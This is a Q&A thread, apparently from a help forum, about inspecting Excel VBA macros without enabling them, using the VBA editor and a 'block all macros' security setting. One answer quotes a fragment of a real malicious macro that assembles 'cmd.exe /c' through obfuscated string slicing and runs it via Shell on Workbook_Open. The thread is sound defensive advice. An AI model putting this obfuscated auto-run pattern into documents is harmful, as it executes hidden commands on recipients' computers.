How to inspect / view an Excel macro before "enabling macros" for a sheet?

I'm receiving occasionally an xls file that contains a macro which I should use. If I don't have complete trust in the sender, I wish to look at the macro's source in order to verify that it indeed does only what it is supposed to.

However, in Excel 2010 the "edit" button under "view macros" is disabled unless I first enable macros for the sheet - but if I first enable macros then I can, at most, find out about malicious code only after that code has finished running...

How can I view the macro's source before enabling macros for the document?

Solution 1:

You can have a look at all macros in a document by using the Developer tab in Word to give you easy access to the Visual Basic routines embedded in the document.

First you need to make sure that the Developer Tab is enabled. Go to File -> Options then:

On the Developer Tab that should now appear there should now be a "Visual Basic" button which you can click to get to the Visual Basic editor.

Browsing through the document tree on the left of the editor you should be able see all the code and modules that are embedded in the document without first needing to enable macros.

I tend to do this with documents I do not trust.

Note: I've done this in Word, the same feature is available in Excel and the option to enable it is in the same place.

Solution 2:

In all versions of all Office applications since 2003, and possibly earlier, Alt+F11 will open the VBA Editor. There is no need to enable the 'Developer' tab in the Ribbon for Office 2007 and newer for this to work.

Solution 3:

While answers from Mokubai and hBy2Py seem great and indeed do allow you to show the VBA Editor, it seems that at least in Excel from Microsoft Office Professional Plus 2016 still doesn't let you view the code.

I happen to own that version, and I was sure I received a malicious XLS and wanted to inspect it. After opening it in Excel, it opened up in safe mode as usual and of course I had no intention of dismissing that mode. When I opened up VBA Editor as other respondents indicated, I was presented with ... empty VBA Editor. "Project explorer" panel helpfully displayed "No open projects" despite I have not closed the XLS file yet. Just for the sake of testing, I opened second document (one of my work) and it immediatelly showed up in VBA Editor and was (properly) totally devoid of any VBA. However, the document from the internet was not listed in the VBA Editor.

I wasted some time trying to figure out why is that so, and found no reason. It seems that my Excel edition simply does not send VBA modules to the VBA Editor when document is loaded in safe mode. Sadly, VBA Editor lacks some "open VBA from Office Document" feature, so it's clear that the Excel is the brain here and it has to unpack/decode/whatever the XLS first.

Solution turned out to be quite simple.

1. Click Ribbon->Developer->MacroSecurity
2. alternatively, File->Options->SecurityCenter(last option group)->Settings->Macros)
3. Remember (or write down) what are the current settings
4. Change them to "Block all macros without notification"
5. Confirm, close, reopen the document, reopen VBA Editor
6. Restore original the settings while you finished playing with fire

Effects:

• notification didn't show up
• document has been fully loaded
• no macros were executed
• VBA Editor got the modules and presented all the code

In case you are curious: yes, it indeed was malicious, tiny example:

Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e  " + "/c" + numneroop + amagilocard
End Function

'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub

BTW. as you can see I immediatelly commented out the entry point and re-saved the document, in case I allow the macros to run at some point of time later.